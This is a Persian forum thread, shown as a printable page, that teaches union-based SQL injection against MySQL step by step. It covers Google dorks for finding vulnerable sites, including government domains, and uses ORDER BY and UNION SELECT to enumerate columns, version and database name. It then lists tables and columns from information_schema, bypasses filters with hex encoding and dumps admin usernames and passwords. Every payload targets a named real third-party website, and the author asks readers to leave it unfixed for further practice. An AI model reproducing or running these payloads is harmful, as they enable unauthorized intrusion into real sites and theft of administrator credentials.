آموزش Sql Injection ( توضيح كوتاه در مورد SQL INJECTION) - نسخهی قابل چاپ +- انجمن عمومی گسترش فناوری آگو (http://forums.ago.ir) +-- انجمن: انجمن های عمومی گسترش فناوری آگو (/forumdisplay.php?fid=1) +--- انجمن: برنامه نویسی (/forumdisplay.php?fid=13) +--- موضوع: آموزش Sql Injection ( توضيح كوتاه در مورد SQL INJECTION) (/showthread.php?tid=2090) |
آموزش Sql Injection ( توضيح كوتاه در مورد SQL INJECTION) - agotd - 02-17-2013 02:50 PM همونطور که میدونید در اغلب برنامه های تحت وب از بانک اطلاعاتی استفاده میشه که اطلاعاتی نظیر اسامی ، اطلاعات کاربردی یک سایت ، اطلاعات کاربران و مدیران و ... در آن قرار میگیره . این برنامه ها اطلاعاتی که کاربران میخواهند وارد کنند را از طریق کد هایی که برنامه نویس نوشته دریافت میکنند و بر اساس آنها Query جدیدی تعریف میکنند و به دیتابیس یا همون بانک اطلاعاتی ارسال میکنند . و ارتباط Database با کاربر از طریق همین Query ها برقرار میشود . اکثر این برنامه ها از زبان SQL برای این ارتباط استفاده میکنند و جالبه که بدونید این فرایند که Query ها بر اساس اطلاعاتی که کاربران برای آنها تایین میکنند و مستقیماً در فیلدهای ورودی صفته وب وارد میکنند می تواند راهی برای نفوذ یک هکر باشد . به عبارت دیگر اگر برنامه ای که توسط برنامه نویس نوشته شده ، اطلاعات یک فیلد رو که با همان دستورات کاربر وارد شده رو جلوی یک دستور SQL بگذارد و آن را برای اجرا کردن به بانک اطلاعاتی بفرستد در اینصورت یک هکر که با زبان SQL آشنا باشد می تواند محتویات این فیلدها را طوری با دستورات SQL پر کند که ممکن است به یک فرمان مخرب تبدیل شده و پس از اجرا ، اهداف نفوذگر را برآورده نماید . و ما در این آموزشات میخواهیم همان دستورات و نحوه دستوپنجه نرم کردن با این برنامه های نوشته شده توسط برنامه نویسان رو مرور کنیم . باگ ها SQL از طريق برنامه نويسي غلت و اشتباه برنامه نويس سايت اون باگ بوجود مياد و هكر ها هم از اين فرصت ها استفاده ميكنن و از طريق اون خرابي كه ما بهش ميگيم باگ اطلاعات سايت رو بدست ميارن و در اخر نفوذ و ... ميتونم بگم روي تعداد زیادی از سايت هاي كه وجود داره باگ SQL موجود است ! مثلا بيشتر سايت هاي دولتي ما یا کشور های دیگر از این نوع باگ ها برخوردارن ! مثل : سايت هاي دانشگاها , سايت هاي بانك ها , سايت هاي دولتي , و .... نوع ديتابيسي كه ما ميخوايم اموزش بديم : در SQL ديتابس هاي زيادي هستند كه معروف ترين اين ها ميتونيم به MySQL , MsSQL , Orcal ا و ... اشاره كرد، در اين نوع ديتابس ها حملات تقربا شبيه به هم هستند (از نظر دستوري) ما در اين تاپيك ميخوايم به آموزش حملات MySQL بپردازيم كه براي START خيلي خوبه ! يعني با دستورات بهتر اشنا ميشين مقدماتي تر نسبت به بقيه ساده تر هستش . در ادامه با پیدا کردن سایت های آسیب پذیر و نحوه چک کردن سایت ها و ... آشنا میشید ... موفق باشید . آموزش Sql Injection ( پیدا کردن سایت باگ دار و تست نفوذ پذیری) - agotd - 02-21-2013 02:52 PM سلام دوستان من بین هر آموزش وقت میزارم که اگر سوالی داشتید رفع بشه بعد میرم قسمت بعد . يچيزيو قبل از همه ميگم اصلا فكر نكينيد كه سايت مورد نظر شما بايد حتما اين باگ رو داشته باشه و امکان داره که این مشکل امنیتی در سایت مورد نظر شما باشه شایدم نباشه ، دوستانی که تازه دارند با این متد آشنا میشن ابتدا روی هدف خاصی کار نکنن و ساده ترین هدف هارو برای تمرین انتخاب کنند و به مرور زمان شما بیشتر با این متد آشنا میشید و میتونید سایت های مورد نظر خودتونو مورد حمله قرار بدید ... مراحل آموزش در این پست رو مرور میکنیم : 1. استفاده از دستورات (Dork ها) در موتور جستوجوگر گوگل (Google.Com) و پیدا کردن سایت هایی با فیلتر های مورد نظر . 2. تست سایت مورد نظر (Target) و مطلع شدن از این که آیا سایت باگ (مشکل امنیتی) دارد یا خیر . میریم سر خود آموزش : اولین قدم ما در هک مشخص کردن نوع هدفی است که ما میخواهیم به آن نفوذ کنیم، اگر هدف مشخصی نداشته باشیم و بخواهیم از موتور های جستوجو گر با اون سطح علمیمون برای پیدا کردن هدف خودمون جستوجو کنیم، مطمعنا با سایت های زیادی روبرو میشوید و شاید از 100% تمام سایت ها فقط 10% سایت هایی که جستوجو کردید مشکل امنیتی داشته باشند یا اصلا یه سوال : چی میخواید سرچ کنید ؟ "سایتی که مشکل امنیتی SQL INJECTION دارد" گزینه مناسبیه ؟ هکر ها برای راحتی کار خودشون از امکانات موتور های جستوجوگر به نفع خودشون استفاده میکنند، یکی از موتورهای جستوجوگر معروف به اسم گوگل مانند دیگر موتور های جستوجو امکاناتی را در اختیار کاربرانش قرار میدهد که در جستوجوی خود برای رسیدن به هدف خودشون راحت تر باشند و سریع تر عملیات مورد نظرشون انجام دهند . یکی از این امکانات مثلا جستوجو فقط میان آدرس صفحات است که گوگل فقط سایت های که در آدرس خودشون اون متن مورد نظر شمارا دارد جستوجو میکند ! برای اینکار از دستور inurl استفاده میشود زمانی که میخواهید متنی را در تکس باکس گوگل سرچ کنید قبل از متن مورد نظر inurl را تایپ میکنیم و در ادامه مشخصات دیگر را وارد میکنیم برای مثال : کد php: inurl:'.gov' and '.php' and 'page=' and 'id' or 'news' در دستور بالا ما به موتور جستوجو گر فرمان میدیم که در آدرس مورد نظرمون سایت های که با دامین .gov هستند و از PHP استفاده میکنند و در آدرس آن ها Page= و id و news وجود دارد را برای ما پیدا کند . نمونه دیگر : کد php: inurl:news-full.php?id= در دستور بالا ما به موتور جستوجو گر فرمان میدیم که صفحه هایی از سایت هایی که در آدرس خودشون News.full.php?id رو دارند رو برای ما پیدا کنه . بعد از پیدا کردن سایتی با فیلتر مورد نظرمون میرسیم به تست نفوذ پذیری آن ! برای مطلع شدن از این که آیا سایت مورد نظر مشکل امنیتی دارد یا خیر میتونیم از دو روش استفاده کنیم : 1. منطقی : در این روش ما به آخر آدرس صفحه مورد نظرمون AND 1=1 را اظافه میکنیم و با وارد کردن این دستور سایت باید به صورت کامل لود شود و با تغییر 1 دوم به 0 سایت اگر با نقص یا با ارور لود شود یعنی میتونیم کارمونو ادامه بدیم . مثلا اين تارگت ماست : دیدن لینک ها برای شما امکان پذیر نیست. لطفا ثبت نام کنید یا وارد حساب خود شوید تا بتوانید لینک ها را ببینید. تذکر : لطفا تارگت آموزش را دیفیس نکنید یا دستی توش نیارید که صاحب سایت متوجه مشکل امنیتیش شه تا برای دیگر دوستان که میخوان در آینده هم یاد بگیرند مثال باشه ... خوب ادامه آموزش ، اگه ما AND 1=1 اضافه كنيم سايت كامل مياد بالا ولي وقتي AND 1=0 رو بزنيم سايت كامل لود نميشه ! (یعنی امکان داشتن مشکل امنیتی مورد نظرمون زیاده) به اين شكل : کد php: http://www.p5n.net/mtl/news-full.php?id=14 and 1=1 2. كاركتري : آخر تارگتمون يه کوتیشن ( ' ) اضافه ميكنيم و اگه ارور مشاهده كرديم يا صفحه كامل لود نشد يعني به این معناست که میتونیم حملمونو ادامه بدیم، شکل دستوری در عمل به این شکل است : کد php: http://www.p5n.net/mtl/news-full.php?id=14' RE: آموزش Sql Injection ( بدست آوردن ستون ها و استخراج ورژن ، یوزر و نام بانک) - agotd - 02-24-2013 02:56 PM در این قسمت به بدست آوردن اطلاعات کاربردی از سایت هدفمون مانند تعداد ستون ها (Column's) و استخراج ستون هایی که میتونن به ما کمک کنند برای استخراج اطلاعات بیشتر و در ادامه به بدست آوردن ورژن سایت و یوز سایت و نام دیتابیس سایت میپردازیم . مراحل آموزش در این قسمت را مرور میکنیم : 1. بدست آوردن تعداد ستون های دیتابیس . 2. استخراج ستون هایی که به ما در حمله میتوانند کمک کنند . 3. بدست آوردن ورژن سایت . 4. بدست آوردن یوزر سایت . 5. بدست آوردن نام بانک اطلاعاتی . میریم سر خود آموزش : بعد از پيدا كردن سايتی که مشکل امنیتی مورد نظرمونو داره دار اولين كاري كه ميكنيم بايد ببينيم ستون ها یا به عبارت دیگر Column های این سايت چند عدد است . براي اين كار در MySQL بايد از دستور Order By X استفاده كنيم كه اين دستور تعداد ستون ها را به ما نشان میدهد . اين ميشه دومین قدم در حمله ، یعنی شناسایی هدف . براي بدست اوردن ستون ها بايد به شكل زير كدمونو تزریق كنيم : کد php: http://www.p5n.net/mtl/news-full.php?id=14+order+by+0-- خوب در این کد باید شما ستون هارو با تغییر ادد بعد از by تست کنید ، براي راحتي كارتون ميتونيد مثلا 15 بزنيد اگه ارور داد یا صفحه کامل لود نشد، يعني ستون ها كم تر از 15 تا هستند و اگه ارور نداد يعني يا بيشتر از 15 هست يا خود 15 تاست، معمولا ستون های سایت ها بین 1 تا 30 و 35 هستند بیشتر نمیشند اگه شدند ادامه بدید نا امید نشید شاید تا 100 تا یا بیشترم برسه ! من روی این تارگتمون تست میکنم از 15 شروع میکنم و میبینم که ارور میدهد و صفحه درست لود نمیشه ، این به این معناست که ستون ها کمتر از 15 هستند من عدد های گرد شده رو میزنم که سریعتر به جواب برسم ، حالا پایین تر میام و عدد 10 رو تست میکنم و مجددا ارور میبینم باز پایین تر میام و 5 رو تست میکنم، سایت به صورت کامل لود میشه این به این معناست که یا 5 ستون داریم یا بیشتر از 5 تا است من 6 رو تست مکنم و مچددا سایت به طور کامل لود میشه و در آخر 7 را تست میکنم و سایت ناقص لود میشود این به این معناست که سایت مورد نظر ما 6 ستون دارد . به همین سادگی ميتونيد سوتون هاي سايت رو بدست بياريد ! ==> 6 حالا ميريم سر خود حمله ! اولين كار اينه كه ستون ها رو فراخواني كنيم با دستور Union Select براي استفاده از اين دستور بايد به شكل زیر دستور رو تزریق کنیم : کد: کد php: http://www.p5n.net/mtl/news-full.php?id=-[/B]14[B]+union+select+1,2,3,4,5,6-- خوب بعد از تزریق کد بالا به سایت ستون های که میتونیم ازشون استفاده کنیم رو میبینیم . حالا ميرسيم به قسمت حساس (از نظر سختی و راحتی حمله) حمله، یعنی پيدا كردن ورژن سايت مورد نظر كه 2 حالت داره : 1: ورژن بالاي 5 باشه : اگر ورژن بالاي پنج باشه ميتونيم از Infotmation Schema اطلاعاتمونو بكشيم بيرون ! (راحت) 2: ورژن پاين پنج باشه ! : اگر ورژن پايين پنج باشه بايد Table ها که در ادامه باهاشون آشنا میشید و Column ها رو حدس بزنيم! (كه اگه اسم جدول ها و ستون های مورد نظرمون اسم های عمومی نباشند كار يكم مشكل ميشه !) براي پيدا كردن ورژن ديتابيس سايت ميتونيم از دستو [ Version() l يا Version@@ ] استفاده كنيم ! براي اين كار كلمه version@@ رو در يكي از ستون هاي كه باز هست و ما ميتونيم ازش استفاده كنيم قرار ميديم تا اطلاعات رو به ما نشون بده ! به اين صورت : کد php: http://www.p5n.net/mtl/news-full.php?id=-14+union+select+1,2,3,@@version,5,6-- خوشبختانه ورژن سایت ما 5.0.92-community هست و کار ما خیلی راحت میشه و به سادگی میتونیم اطلاعات رو از سایت هدف بیرون بکشیم . بعد از آموزش Inject این ورژن اگه استقبال خوب بود آموزش Inject ورژن های پایین تر از 5 رو هم قرار میدم فقط چند نکته را بگم که در فیلم آموزشی بیشتر توضیح داده شده برای بدست آوردن یوزر سایت از دستور ()User و برای بدست آوردن نام دیتابیس سایت از دستور ()Database استفاده کنید نکته : حتما فیلم های آموزش رو دانلود کنید بعضی نکات شاید در فیلم آموزش بهتر توضیح داده شود ... سعي كردم خيلي ساده و تمام توضيح بدم اگه سوالي تا اينجا داشتيد بگيد جواب ميدم ... موفق باشید . - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - در این درس یاد میگیرید که : 1. تعداد ستون های سایت هدف را شناسای کنید . 2. ستون هایی که به ما در حمله میتوانند کمک کنند را استخراج کنیم . 3. ورژن سایت را بدست بیاوریم . 4. یوزر سایت را بدست بیاوریم . 5. نام بانک اطلاعاتی را بدست بیاوریم . RE: آموزش Sql Injection (بدست آوردن تیبلها) - agotd - 02-28-2013 06:39 PM سلام دوستان به دلیل یه سری مسائل نمیتونم زود به زود تاپیک رو آپدیت کنم اگر کمی طول میکشه عذر خواهی میکنم از دوستانی که منتظر ادامه آموزشات هستند ... ، یه نکته رو هم بگم دوستان همینطور که در اولین پست گفتم لطفا اگر سوالی دارید یا از طریق تاپیک جامع سوالات SQL Injection یا از طریق پیغام به یوزر من در انجمن با ایدی بنده سوال خودتونو مطرح کنید لطفا در این تاپیک سوالی نپرسید . در قسمت های قبل سایتی رو که مشکل امنیتی مورد نظرمونو داشت پیدا و تست کردیم و دیدیم که میتونیم حملمونو ادامه بدیم در قدم بعد تعداد ستون های سایت رو بدست آوردیم و ستون هایی که به ما میتونستند کمک کنند را فراخوانی کردیم و از ستون های آزاد برای بدست آوردن اطلاعاتی همچون ورژن و نام دیتابیس و یوزر سایت استفاده کردیم در این قسمت از آموزش به بدست آوردن Table ها و بعد از آن به بدست آوردن Column های هر تیبل و موضوعات دیگر میپردازیم . برای اینکه بهتر با Table و Column های آنها آشنا بشید و ببینید Information_Schema اصلا چیه و کجاست و ورژنی که گفتیم مهمه ورژن چیه و در حقیقت کجاست و... همراه با توضیحات عکس های از قسمت هایی از یک بانک اطلاعاتی هم قرار میدم که شاید در بهتر متوجه شدن مطلب بهتون کمک کند. (البته اینقد ریز شدن فقط برای بهتر متوجه شدن دوستانی است که با این مطالب آشنایی ندارند و دوستانی که حق استادی در گردنمون دارند لطفا مشکلات توضیحات رو بهم اطلاع بدند ...) تصویر اول یک تصویر از صفحه نخست مدیریت یک بانک اطلاعاتی براتون قرار میدم phpMyAdmin یکی از معروف ترین برنامه های مدیریت دیتابیس ها است . در عکس بالا که صفحه نخست مدیریت یک بانک اطلاعاتی را نمایش میدهد در سمت چپ 4 بانک اطلاعاتی مشاهده میکنید، بانک اطلاعاتی اول یعنی information_schema به صورت خودکار در ورژن 5 به بعد MySQL نصب میشود و 3 بانک اطلاعاتی بعدی هم که به نام های only.amniat_site ، only.amniat_mail و only.amniat_test میباشد به صورت دستی یا خودکار توسط سیستم های مدیریت محتوا (مانند phpnuke و ...) بر روی هاست نصب شده اند . در سمت راست بالای صفحه ورژن سرور رو براتون قرار داده که ما با دستور ()version و version@@ آن را بدست می آوریم و پایین تر از آن یوزر سایت در سرور را نمایش میدهد که ما توسط دستور ()user آنرا بدست می آوریم . تصویر دوم تصویری از مدیریت دیتابیس information_schema است که برای درک بهتر آن این عکس راقرار دادم : تصویر سوم از مدیریت یکی از بانک های اطلاعاتی است که صاحب سایت آنرا نصب کرده و اطلاعات سایت در آن ذخیره شده است : همانطور که در تصویر بالا میبینید در سمت چپ Table های سایت قرار گرفته اند، که هر کدام نگهدارنده اطلاعات قسمتی از سایت هستند بعضی از تیبل ها اطلاعات کاربران هستند بعضی دیگر اطلاعات مدیران بعضی دیگر تنظیمات سایت هستند و ... . در تصویر چهارم و پنجم مدیریت یکی از تیبل هارو به شما نشان داده میشود : در تصویر بالا ما در مدیریت تیبل یوزر های کاربران هستیم (مدیران ، کاربران فعال و غیر فعال و ...) در قسمت مشخص شده Column ها یا همون پایه های هر تیبل را مشاهده میکنید که اطلاعات در این Column ها قرار میگیرند و جمع این Column های مرتبط یک تیبل تشکلی میدهند . خوب تا اینجا مقدمه این پست بود و فقط میخواستم مطلب را بهتر درک کنید حالا میریم سر خود آموزش : حالا که با مفهوم Table و Column و ... بهتر آشنا شدید حتما متوجه شدید که برای بدست آوردن یوزر نیم و پسور ادمین سایت باید ابتدا نام دیتابیس دوم نام تیبلی که اطلاعات کاربران در آن وجود دارد و سوم Column یوزرنیم و پسورد ادیمن در آن تیبل را پیدا کنیم و اطلاعات را در آخر از Column یوزر و پسورد بیرون بکشیم . برای بدست آوردن Table ها و Column ها در ورژن 5 به بالا از دیتابیس information_schema اسفاده میکنیم به این صورت که بعد از استفاده از دستور union select و و استخراج ستون هایی که میتونستن به ما کمک کنند از دستور : کد php: +from+information_schema.X-- استفاده میکنیم که X متغیر است و به نسبت به درخواستمون اونو تغییر میدیم، (یه نکته رو هم بگم from به معنای از ، از روی ، بواسطه است ) در این جا ما نیاز به Table های سایت داریم که به جای X کلمه tables رو که یکی از تیبل های دیتابیس information_schema است را تایپ میکنیم یعنی شکل کلی به این صورت است : کد php: http://www.p5n.net/mtl/news-full.php?id=-14+union+all+select+1,2,3,4,5,6+from+information_schema.tables-- با تزریق کد بالا سایت رو در حالت آماده باش برای استخراج تیبل ها قرار دادیم و فقط لازمه از سایت تیبل هارو درخواست کنیم. برای درخواست تیبل ها از سایت باید در یکی از ستون های که اعلام آمادگی کردند با دستور table_name تیبل هارو درخواست کنیم. شکل کلی دستور به صورت زیر است : کد php: http://www.p5n.net/mtl/news-full.php?id=-14+union+all+select+1,2,3,table_name,5,6+from+information_schema.tables-- با دستور بالا فقط یکی از تیبل های سایت را بدست می آوریم که امکان دارد تیبل مورد نظر ما نباشد و اطلاعاتی که ما به آن نیاز داریم را در اختیار ما قرار ندهد ! برای رفع این مشکل و بدست آوردن بقیه تیبل ها چندین راه وجود دارد که ما در این بحث به 3 روش متداول آن میپردازیم : 1. استفاده از دستور ()group_concat ا 2. استفاده از دستور limit و دستور offset ا 3. استفاده از دستور : like 1. استفاده از دستور ()group_concat : راحت ترین راه استفاده از این دستور است که توسط آن کل اطلاعات در اختیار ما قرار میگیرد، در اینجا ما به تیبل ها نیاز داریم پس با استفاده از این دستور تمام تیبل هارا به ما نشان میدهد. شکل کلی دستور : کد php: http://www.p5n.net/mtl/news-full.php?id=-14+union+all+select+1,2,3,group_concat(table_name),5,6+from+information_schema.tables-- 2. استفاده از دستور limit و دستور offset : استفاده از این دستور شایت کمی وقت گیر باشد ولی در بعضی مواقع خیلی کمک میکند توسط این دستور شما اطلاعاتی که میخواید (در اینجا ما تیبل هارا میخوایم ولی میتونه اطلاعات چیزای دیگه ای هم باشه ...) را به صورت تکی به دست میارید یعنی اول تیبل اول بعد دوم بعد سوم و الی آخر ... . نحوه استفاده از این دستور به شکل زیر است : کد php: http://www.p5n.net/mtl/news-full.php?id=-14+union+all+select+1,2,3,table_name,5,6+from+information_schema.tables+limit+1+offset+X-- در دستور بالا X متغیر است و باید X را از 0 شروع کرد و تک تک 0 را به 1 و بعد از بدست آوردن تیبل بعدی 1 را به 2 و الی آخر تیبل هارا بدست آورد تا به تیبل مورد نظر رسید. مثلا اگر شما به دنبال اطلاعات کاربران سایت هستید مانند یوزر و پسورد ادمین سایت باید به دنبال تیبلی به اسم User یا admin یا user_admin یا administrators یا کلماتی مشابه این ها باشید، معمولا در تیبلی که اطلاعات کاربران در آن ذخیره میشود کلمه user موجود است اگر سایتی را چک کردید و اصلا چیزی شبیه به اینا ندیدید احتمال داره یا تیبل مورد نظر در دیتابیس های دیگر باشد (یعنی سایت دارای چند دیتابیس از طرف مدیر باشد) یا اینکه اسم تیبل اسم عمومی نباشد مثلا اسمش باشه miomio که اصلا ارتباطی با هفته بسیج نداره ... ! برای همینم شاید کار یکم مشکل بشه و شما ناچار بشید تمام تیبل هارو چک کنید . 3. استفاده از دستور like : با استفاده از دستور like کار شما خیلی راحت میشه و به سادگی میتونید تیبل مورد نظرتونو پیدا کنید، نحوه کار این روش اینطوریه که ما میدونیم که اطلاعات کاربران معمولا در تیبل هایی با اسم های مشخص هستند مانند user یا admin و یا ... و شایدم همین کلمات عمومی فقط با کمی تغییر مثلا شده باشه phpuser یا مثلا admin_panel یا member_list یا ... ، این روش با ما این امکان رو میده که ما بگیم دنبال تیبلی هستم که در آن مثلا user به کار رفته باشد حالا فرقی نمیکه اولش چیزی اضافه شده باشه یا آخرش . شکل دستوری آنرا قرار میدم و قسمت به قسمت دستور رو توضیح میدم : کد php: http://www.p5n.net/mtl/news-full.php?id=-14+union+all+select+1,2,3,group_concat(table_name),5,6+from+information_schema.tables+where+table_name+like+'%admin%'-- . در دستور بالا همانظور که مشاهده میکنید در ستونی که Table_name را قرار دادیم ()group_concat را هم اضافه کردیم این به این معناست که همه تیبل هایی که مثلا کلمه admin در قسمتی از اسم آنها وجود دارد را به ما نشان بده . 2. بعد از information_schema کلمه where را اضافه کردیم که به معنای "کجا" یا "در کجا" است . 3. بعد از کلمه where تایپ کردیم table_name یعنی بین تیبل ها بگرد . 4. بعد کلمه like که به معنای مانند است را وارد کردیم که دستور اصلی این روش است . 5. بعد از like یک کوتیشن ( ' ) و بعد از کوتیشن یک علامت درصد ( % ) و پس از آن کلمه ای که میخوایم میون اسم های تیبل ها به دنبال آن بگردیم مثلا admin و مجددا علامت درصد و بعد از آن هم یک کوتیشن دیگر و دستور به پایان میرسد . در این دستور کوتیشن به معنای تاکید است و درصد معنای آزاد بودن کلمه از هر دو طرف است یعنی اگر به admin کلمه یا حروفی از قبل یا بعد از آن اضافه شده باشد هم به ما نشان بده اگر ما درصد ها را وارد نکنیم فقط به دنبال کلمه Admin میگردد و اگر کلمه ای به اسم cpadmin وجود داشت را به ما نشان نمیدهد ! نکته مهمی پیرامون این دستور وجود دارد که در بعضی سایت ها این دستور محدود شده است و زمانی که شما این دستور را تزریق میکنید ساید ارور میدهد برای مثال همین سایت تارگت ما که برای مثال درسمان ازش استفاده میکنیم همین مشکل را داراست و نمی گذارد که دستور اجرا شود برای Baypass کردن یا همان دور زدن این قابلیت سایت ها میتونید از چند روش استفاده کنیم : 1. HEX کردن کلمه مورد نظر 2. تبدیل کلمه مورد نظر به CHAR 3. و روش های دیگر که به آنها نمی پردازیم ... 1. Hex کردن کلمه مورد نظر : HEX کردن متن یعنی رمزی کردن متن مورد نظرمون ، برای این کار میتونیم از نرم افزار های مختلفی استفاده کنید و حتی سایت های آنلاینی که میتونید با یک جستوجو ساده در موتور های جستوجو سایت هایی که این کارو به صورت آنلاین انجام میدند رو پیدا کنید . => برنامه تبدیل TEXT به HEX : - برنامه ای رو براتون قرار میدم که بتونید به سادگی متن هاتونو به HEX تبدیل کنید => برای دانلود کلیک کنید - آموزش کار با برنامه : متن مورد نظر را در تکس باکس اول قرار میدهید و Convert را میفشارید و کد HEX شده در تکس باکس دوم براتون قرار داده میشود که میتونید آن را کپی کنید . - پسورد :www.ago.ir 2. تبدیل کلمه مورد نظر به CHAR : این روش هم نوع دیگر رمزی کردن متن است ولی با یک الگوریتم دستوری دیگر که به HEX کردن بسنده میکنیم ... خوب برای بایپس کردن به این صورت عمل میکنیم که کلمه مورد نظرمان را مثلا admin را همراه با علامت درصد دو طرف کلمه تبدیل به HEX یا CHAR میکنیم و کد HEX یا CHAR شده را بعد از کلمه like بدون کوتیشن ( ' ) قرار میدهیم، شکل کلی دستور : کد php: http://www.p5n.net/mtl/news-full.php?id=-14+union+all+select+1,2,3,group_concat%28table_name%29,5,6+from+information_schema.tables+where+table_name+like+0x2561646D696E25-- با تزریق کد بالا میبینیم که سایت تمام تیبل هایی که کلمه admin در آنها وجود دارد را به ما نشان میدهد . خوب این قسمت از آموزشات هم به پایان رسید امید وارم مفید واقع شده باشه ... موفق باشید RE: آموزش Sql Injection ( تبدست آوردن کالومن های یک تیبل) - agotd - 03-06-2013 03:29 PM در آموزش قبل با چند روش برای بدست آوردن تیبل های سایت آشنا شدیم در این قسمت با بدست آوردن Column های دیتابیس آشنا میشیم . براي بدست اوردن Column ها روش كار مانند روش بدست آوردن Table ها است، اگر درس قبل را خوب متوجه شده باشید برای بدست آوردن Column ها هم مشکلی نخواهید داشت . در آموزش قبل خانديم كه ميتوانيم به چندين روش تيبل ها را استخراج کنیم؛ در اين درس همان كار هارا تكرار ميكنيم ولي با اين فرق كه جاي Table ها را با Column تغيير ميديم که کار واقعا ساده ای است . طبق درس قبل شکل ساده بدست آوردن Column ها هم مانند Table ها است . ابتدا سایت را برای بدست آوردن ستون ها یا همان Column ها آماده میکنیم : کد php: http://www.p5n.net/mtl/news-full.php?id=-14+union+all+select+1,2,3,4,5,6+from+information_schema.columns-- در ادامه یکی از ستون های آزاد سایت را انتخاب کرده و از دیتابس Column هارا درخاست میکنیم، برای درخواست کالومن ها از دستور Column_name استفاده میکنیم : کد php: http://www.p5n.net/mtl/news-full.php?id=-14+union+all+select+1,2,column_name,4,5,6+from+information_schema.columns-- ما به دنبال کالومن های تیبل مورد نظر هستیم ولی با این دستور کالومن های تیبلی که مد نظر داریم را نمیتوانیم بدست آوریم، برای بدست آوردن کالومن های تیبل مورد نظر باید از دستور زیر استفاده کنیم : کد php: http://www.p5n.net/mtl/news-full.php?id=-14+union+all+select+1,2,3,group_concat(Column_name),5,6+from+information_schema.columns+where+table_name=اسم تیبل رمزی شده-- نکته : در قسمتی که نوشته شده "اسم تیبل رمزی شده" باید اسم تیبل مورد نظر که در اینجا ما به دنبال یوزر و پسورد ادمین سایت هستیم باید اسم تیبلی که اطلاعات کاربران و مدیران در آن قرار گرفته را قبلا پیدا کرده باشیم و آنرا در اینجا به صورت کد شده (Hex , Char , ...) قرار بدیم . نكته :* and+1=0 رو كه قبل از union قرار دادم به این معناست که میخوایم از ارور اطلاعات را بكشيم بيرون , يه نوع باي پس است که در همه سايت ها احتیاجی نيست این دستور را هم وارد کنید، ولی اگر وارد کنید بهتر است . برای اطمینان . بعضی دوستان در پیغام های که به من میدند هنوز با Hex و Char و کلا رمزی کردن متن آشنا نیستند و دلیل اینکار را نمیدانند، یه توضیح خیلی ساده میدم که مشکلی دیگه در این زمینه نباشه، بعضی سایت ها دارای Magic Quote هستند که Magic Quote کار یک فایروال یا آنتی ویروس را انجام میده و زمانی که شما میخواید کاری کنید Magic Quote مطلع میشه و جلوی شما را میگیرد و ما برای دور زدن یا همان Baypass کردن این مزاحم از بعضی از روش ها استفاده میکنیم که در جاهای مخلف کار برد دارند و یکی از این روش ها رمزی کردن متن ها است ... خوب در ادامه آموزش میرسیم به بدست آوردن کالومن های این سایت که دستور آن را در اول بحث بررسی کردیم، هانطور که در درس قبل تیبلی که اطلاعات کاربران از جمله مدیریت در آن قرار دارد را پیدا کردیم که اسم ان admin بود . حالا با توضیحاتی که دادیم admin را Hex میکنیم که به این شکل میشود : 0x61646D696E و دستور را تزریق میکنیم : کد php: http://www.p5n.net/mtl/news-full.php?id=-14+union+all+select+1,2,3,group_concat%28Column_name%29,5,6+from+information_schema.columns+where+table_name=0x61646D696E-- با تزریق کد بالا حالا ما هم تیبل مورد نظر را داریم هم کالومن ها تا اینجا 90% راه را رفتیم برای بدست آوردن اطلاعات مدیر سایت تنها کاری که مانده بدست آوردن یوزر و پسورد ادمین سایت است که در درس بعدی به آن میپردازیم ... امید وارم آموزشات مفید واقع شده باشد، موفق باشید ... RE: آموزش Sql Injection ( تبدست آوردن یوزرنیم و پسورد مدیریت سایت) - agotd - 03-11-2013 07:21 PM ما بعد از جمع آوری اطلاعاتی همچون Table ادمین سایت که در این سایت به نام Admin بود و کالومن های این تیبل که شد Admin_id و username و password را بدست آوردیم حال میرسیم به استفاده از این اطلاعات و در نتیجه بدست آوردن اطلاعات مهم تری همچون یوزرنیم و پسورد ادمین سایت . شکل کلی استخراج اطلاعات از کالومن های یک تیبل به شکل زیر است : کد php: http://www.p5n.net/mtl/news-full.php?id=-14+union+all+select+1,2,3,X,5,6+from+Y-- در دستور بالا Y اسم تیبل مورد نظر و X هم کالومن تیبل Y است ما با تغییر Y میتوانیم اطلاعات تیبل های دیگر را هم بدست آوریم و با تغییر X میتوانیم کالومن های دیگر تیبل Y را بدست آوریم . نکته : هر کالومن مختص تیبل خودش است و بر روی تیبل های دیگر کاربردی ندارد مگر شباهت اسمی داشته باشند . حالا ما اطلاعات خودمان را در این دستور قرار میدهیم : کد php: http://www.p5n.net/mtl/news-full.php?id=-14+union+all+select+1,2,3,username,5,6+from+admin-- با وارد کردن دستور بالا سایت اسم اولین یوزرنیم ادمین سایت را به ما نشان میدهد . کد php: http://www.p5n.net/mtl/news-full.php?id=-14+union+all+select+1,2,3,password,5,6+from+admin-- با دستور بالا پسورد یوزر اول را هم بدست آوردیم تا الا یوزرنیم و پسورد یکی از ادمین های سایت را بدست آوردیم ولی برای بدست آوردن تمام یوزر و پسور ها میتوانیم از دستور زیر استفاده کنیم که در درس های قبل توضیحات آن را داده بودم : [CODE]http://www.p5n.net/mtl/news-full.php?id=-14+union+all+select+1,2,3,group_concat(admin_id,us ername,password),5,6+from+admin--[/ CODE] با وارد کردن دستور بالا تمام یوزرنیم و پسورد های ادمین های سایت را بدست می آوریم ولی تنها مشکلی که هست اینه که به هم چسپیده هستند، برای جدا کردن آنها از یک کارکتر HEX شده استفاده میکنیم برای مثال نقل قول ( : ) که اگر به HEX آن را تبدیل کنیم میشود : 0x3A ما بین کالومن های خودمون این کد رو قرار میدیم و اطلاعات را از هم جدا میکنیم : کد php: http://www.p5n.net/mtl/news-full.php?id=-14+union+all+select+1,2,3,group_concat(admin_id,0x3a,username,0x3a,password),5,6+from+admin-- با وارد کردن دستور بالا اطلاعات به شکل جدا شده توسط : به ما نشان داده میشوند . خوب تا این قسمت آموزشات توانستید یوزرنیم و پسورد یک سایت را استخراج کنید . در ادامه با پیدا کردن صفحه ورود به پنل ادمین آشنا میشید ... امید وارم از آموزشات در راه صحیح و درست استفاده کنید . |